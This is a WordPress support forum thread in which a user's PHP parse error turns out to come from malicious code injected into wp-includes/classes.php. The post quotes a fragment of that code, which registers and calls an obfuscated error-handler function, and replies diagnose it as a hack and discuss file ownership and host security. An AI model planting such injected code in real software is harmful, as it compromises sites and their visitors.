 * Everything’s been working fine, then I get this message. I compared the code 
   to the original WP code and it’s the same. I did change a theme recently, but
   that seemed to be working ok. I’ve tried to research this in Codex, but all I
   find is syntax error and I don’t know the proper syntax for PHP.
 * Your help will certainly make my day!

   or T_VARIABLE or T_NUM_STRING in /giftstud.com/blog/wp-includes/classes.php on
   line 807`

       if(($a=@set_error_handler('tmp_lkojfghx2'))!='tmp_lkojfghx2')$GLOBALS['tmp_xhgfjokl']=$a;tmp_lkojfghx2(); ?><wp_ajax>";**End line 807**
       		foreach ( $this->responses as $response )
       			echo $response;
       		echo '</wp_ajax>';
       		die();
       	}
       }
   
       ?>
       ```

 * uh, you need to show me where you think that code matches code in any version
   of wordpress that you downloaded from THIS domain.
 * It doesnt, and your site is hacked.
 * PS: apologies as Im sure that doesnt make your day.

 * You were right, of course. I had been comparing the code from the wrong document.
 * When I went to upload the original to the server, I discovered that all the permissions
   had been changed and I couldn’t gain access. I asked my hosting company to do
   a restore back to a date that was good and, hopefully, that will resolve the 
   problem, at least for now.
 * As it happens, I also use IX Web Hosting and from your answer to Wpaul I was 
   able to see the ownership had been changed to HTTPD. I don’t know if I need to
   change the host or find some way to prevent future occurences–Research time, 
   I guess!
 * Thanks for your prompt help!

 * well here’s **my** advice, for what it’s worth (and I work for a host).
 * If I had hosting any place, and there were wide spread cases where sites were
   being hacked, I would 1) question the host’s security, and 2) go elsewhere, promptly.
   I dont care what host it was, and for the record, there’s 2 hosts that keep coming
   up over and over again on these forums — yours is just one of them.
 * In the case of wpaul, a file having httpd:httpd ownership is normal, even a file
   that ends up being exploited, the caise of an exploit, etc..
 * Whats not normal is the root and I assume wheel issue. (root being the user and
   wheel being the group)
 * That alone suggests there is something seriously wrong with the security of the
   server he is on.
